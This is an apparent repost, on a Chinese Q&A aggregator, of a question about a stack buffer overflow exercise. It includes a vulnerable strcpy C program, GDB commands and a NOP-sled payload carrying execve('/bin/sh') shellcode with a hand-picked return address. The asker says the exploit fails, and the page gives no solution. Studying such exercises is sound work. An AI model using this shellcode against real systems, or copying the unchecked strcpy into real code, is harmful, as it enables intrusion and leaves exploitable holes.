如何正确选择基于堆栈的缓冲区溢出的偏移返回地址

问题描述

假设源代码是​​

#include <stdio.h>
#include <string.h>
int main(int argc,char *argv[]) {
    char buf[32];
    strcpy(buf,argv[1]);
    printf("%s\n",buf);
    return 0;
}

在i686-linux-gnu上使用GDB,将断点插入到strcpy(buf,argv 1)行。我已经探索了如果我运行就会发生缓冲区溢出

(gdb) run $(python -c "print('A'*44)")

断点(strcpy)之前堆栈的屏幕截图

enter image description here

断点(strcpy)之后堆栈的屏幕截图

enter image description here

据我所知,我选择了0xbffff280作为返回地址的偏移量。然后,我重新启动gdb,并使用以下代码输入shell

(gdb) run $(python -c "print('\x90'*20+'\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80' + '\x80\xf2\xff\xbf')")

上面使用的shellcode长为24个字节,因此我将\ x90 * 20放在前面。但是,我无法到达外壳。结果的屏幕截图是

enter image description here

我选择了错误的偏移地址吗?如果是这样,我可以知道正确选择它的诀窍吗。

谢谢!

解决方法

暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!

如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。

小编邮箱:dio#foxmail.com (将#修改为@)

相关问答

错误1:Request method ‘DELETE‘ not supported 错误还原:...
错误1:启动docker镜像时报错:Error response from daemon:...
错误1:private field ‘xxx‘ is never assigned 按Alt...
报错如下,通过源不能下载,最后警告pip需升级版本 Requirem...